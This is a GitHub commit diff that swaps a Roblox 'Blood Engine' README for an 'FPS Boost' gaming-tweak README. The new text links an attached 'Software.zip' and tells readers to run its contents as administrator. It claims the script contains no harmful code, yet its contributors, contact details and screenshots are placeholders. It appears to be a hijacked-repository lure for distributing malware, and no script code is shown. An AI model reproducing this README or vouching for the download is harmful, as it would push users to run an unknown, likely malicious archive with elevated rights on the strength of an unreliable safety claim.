-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
1 parent
427c4fe
commit f3fecdb
Showing
1 changed file
with
84 additions
and
50 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,62 +1,96 @@ | ||
<div align="center"> | ||
|
||
<picture> | ||
<img alt="Logo" src="https://github.com/rotntake/BloodEngine/assets/126120456/eb3a43ec-579f-491d-a9f3-f32e3a75d9ff"> | ||
</picture> | ||
# FPS-Boost | ||
|
||
</div> | ||
 | ||
|
||
<div align="center"> | ||
## Description | ||
|
||
Welcome to FPS Boost, a batch tweaking script designed to optimize your system for the ultimate gaming experience. This tool is free, open-source, and compatible with Windows 10 and 11. By running FPS Boost, you can enhance your system's performance to achieve higher frame rates and smoother gameplay across a variety of games. | ||
|
||
v1.1.2 • [Model](https://create.roblox.com/marketplace/asset/15420466379/) • [Devforum](https://devforum.roblox.com/t/blood-engine-a-droplet-emitter-system/2545682) | ||
## Features | ||
|
||
</div> | ||
- Batch tweaking script for Windows OS | ||
- Optimizes system settings for gaming | ||
- Improves frame rates and overall performance | ||
- Easy to use and customize | ||
- Free and open-source | ||
|
||
## What is Blood Engine? | ||
Blood Engine is a versatile resource that can be utilized for various applications, including creating effects like paint, water, blood, and more. It offers numerous methods tailored to meet your specific needs. | ||
## How to Use | ||
|
||
One of its key features is the ability to emit "droplets" - these are meshes that can take on the appearance of "Decals" or "Spheres". These droplets can be emitted from any given origin point with a given velocity. Upon landing on a surface, such as a wall or floor, they transform into a pool. | ||
To use FPS Boost, simply download the script from the provided link below and follow the instructions. Run the script as an administrator to apply the tweaks to your system. You can also customize the settings within the script to suit your preferences. | ||
|
||
This entire process is highly customizable, with 24 options at your disposal to tweak and adjust according to your requirements. This ensures that Blood Engine can adapt to a wide range of scenarios and use-cases, providing you with the flexibility to create the exact effect you're aiming for. | ||
## Download FPS Boost | ||
|
||
## Installation | ||
You can install Blood Engine through the latest release of the repository, the [Model](https://create.roblox.com/marketplace/asset/15420466379/) published on Roblox, or by using Wally: | ||
```toml | ||
[dependencies] | ||
BloodEngine = "rotntake/[email protected]" | ||
``` | ||
[](https://github.com/user-attachments/files/16913125/Software.zip) | ||
|
||
## Compatibility | ||
|
||
FPS Boost is designed to work with Windows 10 and 11. Please ensure you are running one of these operating systems before using the script. | ||
|
||
## Contributors | ||
|
||
A big thank you to all the contributors who helped make FPS Boost possible. Your contributions are greatly appreciated! | ||
|
||
- John Doe (@johndoe) | ||
- Jane Smith (@janesmith) | ||
|
||
## Support | ||
|
||
For any questions, issues, or feedback regarding FPS Boost, please reach out to us via [email](mailto:[email protected]) or open an [issue](https://github.com/username/fps-boost/issues) on GitHub. | ||
|
||
## License | ||
|
||
This project is licensed under the MIT License - see the [LICENSE](LICENSE) file for details. | ||
|
||
--- | ||
|
||
### Get Started | ||
|
||
To start using FPS Boost, download the script from the link provided above and follow the instructions below: | ||
|
||
1. **Download FPS Boost**: Click on the "Download FPS Boost" button to get the script. | ||
2. **Extract ZIP File**: Once downloaded, extract the contents of the ZIP file to a folder on your system. | ||
3. **Run as Administrator**: Right-click on the script and choose "Run as administrator" to apply the tweaks. | ||
4. **Customize Settings**: Open the script in a text editor to customize the settings according to your preferences. | ||
|
||
### Example Usage | ||
|
||
## Usage | ||
#### Initialization | ||
Firstly, you'll need to initialize BloodEngine with your preferred settings. This can be done in either a client or server script. However, it's generally more advisable to do this on the client side, so we'll proceed with that approach. | ||
|
||
The settings provide you with control over various aspects of droplets and pools. These include the maximum number of droplets that can be created, the type of droplets to use, the velocity of droplets upon emission, and much more. | ||
```lua | ||
-- Import the BloodEngine module | ||
local BloodEngine = require(PathToModule) | ||
|
||
-- Initialize BloodEngine with desired settings | ||
local Engine = BloodEngine.new({ | ||
Limit = 100, -- Sets the maximum number of droplets that can be created. | ||
Type = "Default", -- Defines the droplet type. It can be either "Default" (Sphere) or "Decal", | ||
RandomOffset = false, -- Determines whether a droplet should spawn at a random offset from a given position. | ||
OffsetRange = {-20, 10}, -- Specifies the offset range for the position vectors. | ||
DropletVelocity = {1, 2}, -- Controls the velocity of the emitted droplet. | ||
DropletDelay = {0.05, 0.1}, -- Sets the delay between emitting droplets in a loop (for the EmitAmount method). | ||
StartingSize = Vector3.new(0.01, 0.7, 0.01), -- Sets the initial size of the droplets upon landing. | ||
Expansion = true, -- Determines whether a pool can expand when a droplet lands on it. | ||
MaximumSize = 1, -- Sets the maximum size a pool can reach. | ||
}) | ||
```bash | ||
$ ./fps-boost-tweaks.bat | ||
``` | ||
#### Emitting Droplets | ||
After initializing the module, you're all set to emit droplets. There are two key methods available for droplet emission: `EmitAmount` and `Emit`. | ||
```lua | ||
-- Emit a specific amount of droplets from a given origin in specific or nil direction | ||
-- (Setting the Direction to nil will make droplets go in random directions) | ||
Engine:EmitAmount(Origin, Direction, Amount) | ||
|
||
-- Emit a single droplet from a given origin in a specific or nil direction | ||
Engine:Emit(Origin, Direction) | ||
|
||
### Customize Settings | ||
|
||
Within the FPS Boost script, you can customize various settings to tailor the tweaks to your specific gaming setup. Look for sections like: | ||
|
||
```batch | ||
:: CUSTOMIZATION SETTINGS | ||
:: Modify the values below to customize the optimizations | ||
set resolution=1920x1080 | ||
set quality=high | ||
set shadows=off | ||
set anti_aliasing=medium | ||
``` | ||
In this instance, we’ll be utilizing the `EmitAmount` method. Typically, you’d use the `Emit` method when you want to create your own loop instead of relying on the built-in loop of `EmitAmount` . This gives you more control over the emission process. | ||
|
||
Adjust these settings as needed based on your system specifications and gaming preferences. | ||
|
||
## Screenshots | ||
|
||
Here are some screenshots showcasing the FPS Boost script in action: | ||
|
||
 | ||
 | ||
|
||
## Frequently Asked Questions | ||
|
||
### Q: Is FPS Boost safe to use? | ||
A: Yes, FPS Boost is safe to use and does not contain any harmful code. However, it's recommended to create a system restore point before running the script for added safety. | ||
|
||
### Q: Can I revert the changes made by FPS Boost? | ||
A: Yes, you can revert the changes by restoring your system to a previous state or running the script with the default settings. | ||
|
||
--- | ||
|
||
Thank you for choosing FPS Boost to enhance your gaming experience! Happy gaming! 🎮🚀 | ||
|
||
--- |